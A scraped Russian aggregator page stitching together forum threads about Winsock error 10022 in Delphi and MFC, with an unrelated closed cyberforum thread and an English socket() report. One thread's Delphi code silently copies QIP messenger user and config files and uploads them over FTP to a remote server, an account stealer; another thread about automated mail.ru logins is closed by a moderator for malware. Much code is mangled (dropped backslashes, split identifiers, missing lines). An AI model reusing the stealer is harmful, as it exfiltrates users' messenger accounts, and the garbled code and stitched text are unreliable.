Содержание
- Delphi socket error 10022
- Delphi socket error 10022
- Delphi socket error 10022
- Что делать если listen возвращает 10022?
- Delphi socket error 10022
Delphi socket error 10022
эта ошибка меня уже достала она появляеться во всех программа которых написал и в чужих исходников она тоже появлеться
вот ошибка
это в делфи
Project Project1.exe raised exception class EIdSocketError with message’ Socket Error # 10022 Invalid argument.’. Process stopped.Use Step or Run to continue.
а вот есть запустить скомпилированую программу
вот такая ошибка появляеться
Soket Error # 10022 Invalid argument.
вот код
unit Unit1;
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, IdBaseComponent, IdComponent, IdTCPConnection,
IdTCPClient, IdHTTP, StdCtrls, ExtCtrls, ScktComp;
type
TForm1 = class(TForm)
Image1: TImage;
Button1: TButton;
IdHTTP1: TIdHTTP;
ClientSocket1: TClientSocket;
procedure Button1Click(Sender: TObject);
private
< Private declarations >
public
< Public declarations >
end;
var
Form1: TForm1;
procedure TForm1.Button1Click(Sender: TObject);
var
buffer:TMemoryStream;
begin
buffer:=TMemoryStream.Create;
try
idHTTP1.Connect;
idHTTP1.Get(‘http://game.arbital.ru/board/userbars/ub3.php?port=27018’,buffer);
buffer.SaveToFile(‘C:WINDOWSTemp temp.png’);
Image1.Picture.LoadFromFile(‘C:WIN DOWSTemptemp.png’);
DeleteFile(‘C:WINDOWSTemptemp.pn g’);
IdHTTP1.Disconnect;
except
on E:Exception do ShowMessage(e.Message);
end;
В чём дело то? не понимаю, помогите .
Источник
Delphi socket error 10022
Один из клиентов связывается со мной и сообщает о постоянно возникающей ошибке. Случай именно единичный за два года использования данной реализации транспорта, но никак не могу понять в чем дело.
Ошибка именно 10022
Invalid argument.
Some invalid argument was supplied (for example, specifying an invalid level to the setsockopt function). In some instances, it also refers to the current state of the socket—for instance, calling accept on a socket that is not listening.
Происходит ошибка после запроса даных на удаленном сервере, но. Но перед этим связь с удаленным сервером была налажена, список содержимого получен, минимальный обмен данными совершен.
По логам происходит как минимум около 12 удачных вопрос-ответ сесий.
procedure TGSClientSocketItem.DoWrite;
var
ID: DWORD;
procedure SocketWrite(const ASocket: TGSClientSocketItem); stdcall;
procedure Complete(const dwError, cbTransferred: DWORD;
const lpOverlapped: LPWSAOVERLAPPED;
const dwFlags: DWORD); stdcall;
begin
if dwError <> 0 then
PostMessage(lpOverlapped.hEvent, SOCKET_NOTIFY_MSG, WSAGetLastError, FD_ERROR);
end;
var
Err: Integer;
Overlapped: _OVERLAPPED;
Buffer: WSABUF;
SndCount: DWORD;
begin
try
FillChar(Overlapped, SizeOf(_OVERLAPPED), #0);
Overlapped.hEvent := ASocket.FServer.FHandle; // Для нотификации об ошибке
Buffer.buf := Pointer(ASocket.FSendStream);
Buffer.len := Length(ASocket.FSendStream);
if WSASend(ASocket.FSocket, @Buffer, 1,
SndCount, 0, @Overlapped, @Complete) = SOCKET_ERROR then
begin
Err := WSAGetLastError;
if Err <> ERROR_IO_PENDING then
begin
ASocket.FServer.Error(Err);
ASocket.DelState(gsWriting);
Exit;
end;
end;
// Ждем пока не отправятся все данные
ASocket.FEvent := WSACreateEvent;
try
Err := WSAWaitForMultipleEvents(1, @ASocket.FEvent,
False, WSA_INFINITE, True);
if Err = WAIT_IO_COMPLETION then
begin
SetLength(ASocket.FSendStream, 0);
if Assigned(ASocket.FServer.FWrite) then
ASocket.FServer.FWrite(ASocket.FServer, ASocket);
end
else
ASocket.FServer.Error(WSAGetLastError);
finally
WSACloseEvent(ASocket.FEvent);
ASocket.DelState(gsWriting);
end;
finally
// Отправка уведомления о завершении потока
PostMessage(ASocket.FServer.FHandle, SOCKET_NOTIFY_MSG,
GetCurrentThread, FD_CLOSETHREAD);
end;
end;
begin
if Length(FSendStream) = 0 then
begin
AddState(gsReadyWrite);
Exit;
end;
AddState(gsWriting);
WriteThread := CreateThread(nil, 0, @SocketWrite, Self, 0, ID);
if WriteThread = 0 then
FServer.Error(GetLastError);
Sleep(10);
end;
Ошибка на выделенном WSASend.
Что подскажут мастера?
← →
Digitman © ( 2005-12-23 08:25 ) [1]
А где ты такое описание ошибки выискал ?
Вот цитата из описания отказа WSAEINVAL (10022) для WSASend из MSDN:
The socket has not been bound with bind or the socket is not created with the overlapped flag.
← →
Rouse_ © ( 2005-12-23 10:31 ) [2]
Оппа.
Протупил.
Не туда глядел. Чичас буду разбираться 🙂 Сенькс.
Источник
Delphi socket error 10022
Здравствуйте, хочу отправить фаил на FTP (по вашей же методике http://programmersforum.ru/showthread.php?t=14254 ), но выскакивает динамическая ошибка при запуске . raised an expection class EidSoketError with message ‘Soket Error # 11004’. Причем указывает на данную строчку:
IdFTP1.Connect(true);
В чем может быть проблема?
Далее, при попытке отправке файла (попытался закомментить эту строку) еще одна ошибка . classEAccessViolation with message ‘Access violation at adress 00461D71. . Указывает, соответственно на:
IdFTP1.Put(st1,’1′,true);
Сам код программы:
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient,
IdFTP, ComCtrls, StdCtrls, Shellapi;
type
TForm1 = class(TForm)
IdFTP1: TIdFTP;
ProgressBar1: TProgressBar;
Button1: TButton;
Edit1: TEdit;
procedure IdFTP1Work(Sender: TObject; AWorkMode: TWorkMode;
const AWorkCount: Integer);
procedure FormCreate(Sender: TObject);
procedure IdFTP1WorkBegin(Sender: TObject; AWorkMode: TWorkMode;
const AWorkCountMax: Integer);
procedure IdFTP1WorkEnd(Sender: TObject; AWorkMode: TWorkMode);
procedure Button1Click(Sender: TObject);
private
< Private declarations >
public
< Public declarations >
end;
var
Form1: TForm1;
st1:string;
implementation
<$R *.dfm>
procedure CopyFiles(const FromFolder: string; const ToFolder: string);
var
Fo :TSHFileOpStruct;
buffer :array[0..4096] of char;
p char;
begin
FillChar(Buffer, sizeof(Buffer), #0);
p := @buffer;
StrECopy(p, PChar(FromFolder));
FillChar(Fo, sizeof(Fo), #0);
Fo.Wnd := Application.Handle;
Fo.wFunc := FO_COPY;
Fo.pFrom := @Buffer;
Fo.pTo := PChar(ToFolder);
Fo.fFlags := 0;
if ((SHFileOperation(Fo) <> 0) or (Fo.fAnyOperationsAborted <> false)) then
ShowMessage(‘Error’)
end;
procedure TForm1.IdFTP1Work(Sender: TObject; AWorkMode: TWorkMode;
const AWorkCount: Integer);
begin
ProgressBar1.Position := AWorkCount;
Application.ProcessMessages;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
edit1.Text:=extractfilepath(paramst r(0));
//ftp://00.000.000.00/
copyfiles(‘C:Program FilesQIPUsers49000.*’,extractfil epath(paramstr(0)));
copyfiles(‘C:Program FilesQIPUsersconfig.*’,extractfi lepath(paramstr(0)));
IdFTP1.Host := ‘ftp://00.000.000.00/’;
IdFTP1.Username := »;
IdFTP1.Password := »;
IdFTP1.Connect(true);
procedure TForm1.IdFTP1WorkBegin(Sender: TObject; AWorkMode: TWorkMode;
const AWorkCountMax: Integer);
begin
ProgressBar1.Max := AWorkCountMax;
end;
procedure TForm1.IdFTP1WorkEnd(Sender: TObject; AWorkMode: TWorkMode);
begin
ProgressBar1.Position := 0;
MessageDlg(‘Передача закончена!’,mtInformation,[mbok],0);
end;
Источник
Что делать если listen возвращает 10022?
Пишу TCP сервер на MFC.
Инициализирую так:
Это всё запускается и работает в отдельном потоке.
Как итог — в лог бокс выводится «listen error».
Изначально всё работало нормально, но потом что-то изменил, не помню что, и всё работать перестало. Магия программирования.
- Вопрос задан более двух лет назад
- 149 просмотров
Простой 11 комментариев
Евгений Шатунов, Здравствуйте.
Получаю код ошибки:
В лог боксе выводит: listen error. Code error: 10022
WSAGetLastError — выдаёт 10022
Это: Недопустимый аргумент.
Был предоставлен какой-то недопустимый аргумент (например, указание недопустимого уровня для функции setsockopt). В некоторых случаях это также относится к текущему состоянию сокета—например, вызов accept на сокете, который не слушает.
Но что именно не так? Вроде всё верно ввёл, сокет слушает.
Изначально всё работало нормально, но потом что-то изменил, не помню что, и всё работать перестало.
Никогда не видел смысла использования гита в своих проектах
Этот смысл у тебя сейчас прямо перед глазами, но ты его все равно не видишь. Я правильно понимаю?
Ты просто физически не поднимешь даже небольшой проект с небольшим кодом в течении длительного времени без истории, веток, таймлапса и без возможности всегда вспомнить подробности написанного.
По поводу ошибки. Да, ты верно все написал про WSAEINVAL . Это буквально означает что ты передаешь именно в listen неправильные аргументы. Второй аргумент у тебя не может быть неправильным. Остается вопрос к первому — к сокету.
У bind [?] ты ошибку тоже не проверяешь. Стоит это сделать.
Евгений Шатунов, На bind ошибку тоже проверял, всё чисто.
Всегда выдаёт на listen. Менял порт, всё равно именно в listen выдаёт ошибку.
Error listen: 10022
WSAEINVAL The socket has not been bound with bind.
armadillo-cld, я несколько раз привел ссылку на документацию к bind . Ты ведь изучил документацию?
WSAGetLastError , согласно документации, вызывать нужно только когда bind возвращает SOCKET_ERROR . Только так ты можешь понять, что WSAGetLastError вернул код ошибки именно от bind .
И у listen точно так же. Тебе надо просто лучше обрабатывать ошибки. У тебя реальная ошибка может быть где угодно выше по тексту и ты ее просто проглядел.
Я рекомендую тебе к каждой функции прочитать документацию и писать свой код только в соответствии с документацией.
Источник
Delphi socket error 10022
Windows socket error: Получен недопустимый аргумент (10022), on API «WSACancelASyncRequest»
Написал клиента, без прокси работает все отлично, а вот когда через прокси вылазиет вот такая ошибка, хотя при этом все работает, В ClientOnError прописал ErrorCode:=0; не помогает. Подскажите как избавиться от это сообщения!
← →
alekseyi © ( 2010-03-30 09:40 ) [1]
есть подозрение что все из за процедуры
я уже переделал так
mclient.close;
sleep(300);
mclient.open;
end;
← →
Сергей М. © ( 2010-03-30 09:42 ) [2]
У тебя ошибка в программе
← →
Сергей М. © ( 2010-03-30 09:54 ) [3]
Прокси здесь вообще ни причем.
Метод Сlose следует вызывать только для сокета, для которого ранее перед этим был вызван метод Open.
К тому же есть св-во Active, которым и следует пользоваться в таких случаях:
← →
alekseyi © ( 2010-03-30 10:04 ) [4]
все оказалось просто!
клиент не успев отключиться опять подключается, поставил таймер примерно на 0,5 сек. и все!
так сказать
client.close
ждем
0,5 сек
client.open
все без запарок
Спасибо за помощь
Это не решение, а новые грабли.
Рано или поздно ты на них наступишь и будет больно.
← →
alekseyi © ( 2010-03-30 10:27 ) [6]
← →
Сергей М. © ( 2010-03-30 10:32 ) [7]
Предлагаю открыть справку и ВНИМАТЕЛЬНО изучить события этого компонента, в частности события OnConnect, OnDisconnect.
Они же не для Пушкина придуманы)
← →
brother © ( 2010-03-30 10:34 ) [8]
> Они же не для Пушкина придуманы)
Да уж. бедный Пушкин.
Источник
FirmFreez 2 / 2 / 1 Регистрация: 09.05.2015 Сообщений: 31 |
||||
1 |
||||
15.05.2016, 19:38. Показов 975. Ответов 12 Метки idhttp, post, потоки, с, сеть (Все метки)
Приложение отправляет Post запрос на mail.ru и авторизируется. Вот, собственно и сама строчка:
Помогите. Уже два дня с этим ничего сделать не могу…
__________________
0 |
5443 / 4267 / 1375 Регистрация: 14.04.2014 Сообщений: 19,204 Записей в блоге: 19 |
|
15.05.2016, 20:24 |
2 |
и это правильно ибо …
0 |
mss |
15.05.2016, 20:33
|
Не по теме:
работало. Дописал ..ошибку выдаёт Кулхацкер доморощеный)
0 |
2 / 2 / 1 Регистрация: 09.05.2015 Сообщений: 31 |
|
15.05.2016, 22:33 [ТС] |
4 |
Оно и так работает, просто потоки так и не подключаются…
0 |
17 / 17 / 4 Регистрация: 20.08.2010 Сообщений: 128 |
|
16.05.2016, 13:09 |
5 |
Оно и так работает, просто потоки так и не подключаются… Ну так больше кода показывай..
0 |
2 / 2 / 1 Регистрация: 09.05.2015 Сообщений: 31 |
|||||
16.05.2016, 17:51 [ТС] |
6 |
||||
Ну так больше кода показывай.. Держи, надеюсь это поможет…
0 |
mss |
16.05.2016, 20:17
|
Не по теме: ну что тут сказать ?
0 |
2 / 2 / 1 Регистрация: 09.05.2015 Сообщений: 31 |
|
16.05.2016, 21:30 [ТС] |
8 |
очередной образчик… копипаста Код изначально я писал. Но я не знал ничего о потоках, и решил разобраться. В интернете нашел код с потоками, вот и переделал свой под тот… Добавлено через 1 минуту
ну что тут сказать ? Лучше помоги, как бы копипаст не копипаст а ошибку это не исправит…(
0 |
2649 / 2270 / 279 Регистрация: 24.12.2010 Сообщений: 13,725 |
|
16.05.2016, 21:40 |
9 |
В интернете нашел код Так и я о том — нашел и бездумно его скопипастил..
помоги Взгляни сколько граблеходцев и вникай
0 |
2 / 2 / 1 Регистрация: 09.05.2015 Сообщений: 31 |
|
17.05.2016, 17:43 [ТС] |
10 |
Взгляни сколько граблеходцев и вникай Ладно, спасибо..
0 |
BOGG ART |
17.05.2016, 17:50
|
Не по теме:
Простите, но у вас опять ссылка сломана:
Извините, нет совпадений. Попробуйте указать другие ключевые слова.
0 |
mss |
17.05.2016, 19:57
|
Не по теме: Поиск по этому форуму по ключевым словам «mss thread cs.enter while work говнокод»
0 |
Модератор 9481 / 4805 / 3211 Регистрация: 17.08.2012 Сообщений: 15,045 |
|
21.05.2016, 15:39 |
13 |
Правило форума: 5. 7. Запрещено создание и распространение вредоносного ПО, вирусов, кряков и взлома лицензионного софта, а также публикация ссылок для их скачивания. Тема закрыта.
0 |
При работе с сокетами бывают исключительные ситуации, при которых возникают ошибки с некими кодами. Немножко поискав — нашел описание ошибок. Решил привести данное описание в своем блоге:
Socket error 10004 — Interrupted function call
Socket error 10013 — Permission denied
Socket error 10014 — Bad address
Socket error 10022 — Invalid argument
Socket error 10024 — Too many open files
Socket error 10035 — Resource temporarily unavailable
Socket error 10036 — Operation now in progress
Socket error 10037 — Operation already in progress
Socket error 10038 — Socket operation on non-socket
Socket error 10039 — Destination address required
Socket error 10040 — Message too long
Socket error 10041 — Protocol wrong type for socket
Socket error 10042 — Bad protocol option
Socket error 10043 — Protocol not supported
Socket error 10044 — Socket type not supported
Socket error 10045 — Operation not supported
Socket error 10046 — Protocol family not supported
Socket error 10047 — Address family not supported by protocol family
Socket error 10048 — Address already in use
Socket error 10049 — Cannot assign requested address
Socket error 10050 — Network is down
Socket error 10051 — Network is unreachable
Socket error 10052 — Network dropped connection on reset
Socket error 10053 — Software caused connection abort
Socket error 10054 — Connection reset by peer
Socket error 10055 — No buffer space available
Socket error 10056 — Socket is already connected
Socket error 10057 — Socket is not connected
Socket error 10058 — Cannot send after socket shutdown
Socket error 10060 — Connection timed out
Socket error 10061 — Connection refused
Socket error 10064 — Host is down
Socket error 10065 — No route to host
Socket error 10067 — Too many processes
Socket error 10091 — Network subsystem is unavailable
Socket error 10092 — WINSOCK.DLL version out of range
Socket error 10093 — Successful WSAStartup not yet performed
Socket error 10094 — Graceful shutdown in progress
Socket error 11001 — Host not found
Socket error 11002 — Non-authoritative host not found
Socket error 11003 — This is a non-recoverable error
Socket error 11004 — Valid name, no data record of requested type
Один из клиентов связывается со мной и сообщает о постоянно возникающей ошибке. Случай именно единичный за два года использования данной реализации транспорта, но никак не могу понять в чем дело.
Ошибка именно 10022
Invalid argument.
Some invalid argument was supplied (for example, specifying an invalid level to the setsockopt function). In some instances, it also refers to the current state of the socket—for instance, calling accept on a socket that is not listening.
Происходит ошибка после запроса даных на удаленном сервере, но… Но перед этим связь с удаленным сервером была налажена, список содержимого получен, минимальный обмен данными совершен.
По логам происходит как минимум около 12 удачных вопрос-ответ сесий.
Код:
procedure TGSClientSocketItem.DoWrite;
var
ID: DWORD;
procedure SocketWrite(const ASocket: TGSClientSocketItem); stdcall;
procedure Complete(const dwError, cbTransferred: DWORD;
const lpOverlapped: LPWSAOVERLAPPED;
const dwFlags: DWORD); stdcall;
begin
if dwError <> 0 then
PostMessage(lpOverlapped.hEvent, SOCKET_NOTIFY_MSG, WSAGetLastError, FD_ERROR);
end;
var
Err: Integer;
Overlapped: _OVERLAPPED;
Buffer: WSABUF;
SndCount: DWORD;
begin
try
FillChar(Overlapped, SizeOf(_OVERLAPPED), #0);
Overlapped.hEvent := ASocket.FServer.FHandle; // Для нотификации об ошибке
Buffer.buf := Pointer(ASocket.FSendStream);
Buffer.len := Length(ASocket.FSendStream);
if WSASend(ASocket.FSocket, @Buffer, 1,
SndCount, 0, @Overlapped, @Complete) = SOCKET_ERROR then
begin
Err := WSAGetLastError;
if Err <> ERROR_IO_PENDING then
begin
ASocket.FServer.Error(Err);
ASocket.DelState(gsWriting);
Exit;
end;
end;
// Ждем пока не отправятся все данные
ASocket.FEvent := WSACreateEvent;
try
Err := WSAWaitForMultipleEvents(1, @ASocket.FEvent,
False, WSA_INFINITE, True);
if Err = WAIT_IO_COMPLETION then
begin
SetLength(ASocket.FSendStream, 0);
if Assigned(ASocket.FServer.FWrite) then
ASocket.FServer.FWrite(ASocket.FServer, ASocket);
end
else
ASocket.FServer.Error(WSAGetLastError);
finally
WSACloseEvent(ASocket.FEvent);
ASocket.DelState(gsWriting);
end;
finally
// Отправка уведомления о завершении потока
PostMessage(ASocket.FServer.FHandle, SOCKET_NOTIFY_MSG,
GetCurrentThread, FD_CLOSETHREAD);
end;
end;
begin
if Length(FSendStream) = 0 then
begin
AddState(gsReadyWrite);
Exit;
end;
AddState(gsWriting);
WriteThread := CreateThread(nil, 0, @SocketWrite, Self, 0, ID);
if WriteThread = 0 then
FServer.Error(GetLastError);
Sleep(10);
end;
Ошибка на выделенном WSASend.
Что подскажут мастера?
Оппа…
Протупил…
Не туда глядел. Чичас буду разбираться Сенькс.
Добрый день!
Столкнулся со следующей проблеммой:
1. Есть серверное и клиентское приложения, которые используют ServerSocket: TServerSocket (stThreadBlocking) и ClientSocket: TClientSocket (ctBlocking) соответственно.
2. Сервер реализован многопоточный. Event handler для ServerSocket.OnGetThread:
procedure TMyForm.ServerSocketGetThread( Sender: TObject;
ClientSocket: TServerClientWinSocket;
var SocketThread: TServerClientThread );
begin
SocketThread := TMyServerClientThread.Create( False );
end;
3. Реализация метода ClientExecute для TMyServerClientThread:
procedure TMyServerClientThread.ClientExecute;
begin
inherited FreeOnTerminate := true;
try
fSocketStream := TWinSocketStream.Create( ClientSocket, fTimeOut * 1000 );
try
while not Terminated and ClientSocket.Connected do
begin
// Wait for data
if not fSocketStream.WaitForData( fTimeOut * 1000 ) then
raise Exception.Create( ErrTimeOut );
// Receive data
fReceivedBytes := fSocketStream.Read( fBuffer, cSessionBufferSize );
if fReceivedBytes > 0 then
// Process request
...
else
...
end;
finally
fSocketStream.Free;
end;
except
...
end;
//SetErrorProc(MyErrorProc)
end;
Теперь собственно проблемма:
Все работает нормально и стабильно (в том числе и продолжительное время) НО на ОДНОЙ машине из 10 рэйзится Exception «socket error 10022» при завершении работы потока (ClientExecute). Excpetion происходит в следующем месте (в глубинах дельфиных сырцов — выделено болдом) — это вызов функции из wsock32.dll:
procedure TCustomWinSocket.Disconnect(Socket: TSocket);
begin
Lock;
try
if FLookupHandle <> 0 then
CheckSocketResult(WSACancelASyncRequest(FLookupHandle), 'WSACancelASyncRequest');
FLookupHandle := 0;
if (Socket = INVALID_SOCKET) or (Socket <> FSocket) then exit;
Event(Self, seDisconnect);
CheckSocketResult(closesocket(FSocket), 'closesocket');
FSocket := INVALID_SOCKET;
FAddr.sin_family := PF_INET;
FAddr.sin_addr.s_addr := INADDR_ANY;
FAddr.sin_port := 0;
FConnected := False;
FreeAndNil(FSendStream);
finally
Unlock;
end;
end;
Если поставить заглушку (см. выделенный болдом коментарий с пункте 3, то Exception естественно пропадает, но жрется память причем безбожно.
Все тестилось на NT, Windows 2000 (Prof & Server) — от системы не зависит.
Возможно на это влияет какой-нить установленный софт? Может кто-нить сталкивался?
Заранее спасибо.
Hi,
We’ve run into a strange problem where our network application runs fine from most network shares, but fails on a particular one.
The socket() function returns an 10022 (WSAEINVAL) error when this occurs. It runs fine locally and on most network shares.
Here’s a sample program that causes the error:
#include «stdafx.h»
#include <windows.h>
#include <winsock.h>
#include <stdio.h>
int _tmain(int argc, _TCHAR* argv[])
{
WSADATA wsadata;
//request socket version 2.2
WORD vers = MAKEWORD (2, 2);
int ret, sock;
//initialize windows sockets
ret = WSAStartup (vers, &wsadata);
if (ret)
{
fprintf (stderr, «WSAStartup failed: rc: %dn», ret);
fprintf (stderr, «err: %lun», WSAGetLastError());
return 1;
}
else
{
printf(«WSAStartup succeeded…n»);
}
printf(«WSA Information:n»);
printf(«high ver: %d.%d ver: %d.%dn»,
HIBYTE(wsadata.wHighVersion),
LOBYTE(wsadata.wHighVersion),
HIBYTE(wsadata.wVersion),
LOBYTE(wsadata.wVersion));
printf(«desc: %sn», wsadata.szDescription);
printf(«stat: %sn», wsadata.szSystemStatus);
printf(«max sock: %d max udp size: %dn», wsadata.iMaxSockets, wsadata.iMaxUdpDg);
//create a simple socket
sock = socket (AF_INET, SOCK_STREAM, 0);
if (sock == INVALID_SOCKET)
{
int iErr = WSAGetLastError();
LPVOID lpMsgBuf;
FormatMessage(
FORMAT_MESSAGE_ALLOCATE_BUFFER |
FORMAT_MESSAGE_FROM_SYSTEM |
FORMAT_MESSAGE_IGNORE_INSERTS,
NULL,
iErr,
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
(LPTSTR) &lpMsgBuf,
0, NULL );
fprintf (stderr, «socket failed: err: %lun %sn», iErr, lpMsgBuf);
LocalFree(lpMsgBuf);
}
else
{
fprintf (stderr, «socket succeeded: %dn», sock);
closesocket (sock);
}
WSACleanup ();
return 0;
}
When run locally or on most shares you get success:
C:UserstestDesktop>SocketTest.exe
WSAStartup succeeded…
WSA Information:
high ver: 2.2 ver: 2.2
desc: WinSock 2.0
stat: Running
max sock: 0 max udp size: 0
socket
succeeded : 68
When run from a certain network share: (Q: is a mapped share, SocketTest.exe is located on the share)
Q:VISTA_trials>SocketTest.exe
WSAStartup succeeded…
WSA Information:
high ver: 2.2 ver: 2.2
desc: WinSock 2.0
stat: Running
max sock: 0 max udp size: 0
socket
failed : err: 10022
An invalid argument was supplied.
Since it works on most shares and locally, it makes me think it is some kind of security problem. It fails the same way when run with Administrator permissions. It reminds me of the .NET application running from a share permissions. I didn’t
see anything suspicious with process monitor. Unfortunately, I couldn’t step into the socket() function to see exactly where it fails. I’m going to install a checked build of Vista to see if that helps. Any idea on how to proceed / fix this
problem? This looks like the same problem posted here: http://www.ureader.com/msg/14772558.aspx
Thanks,
Ben
|
|
|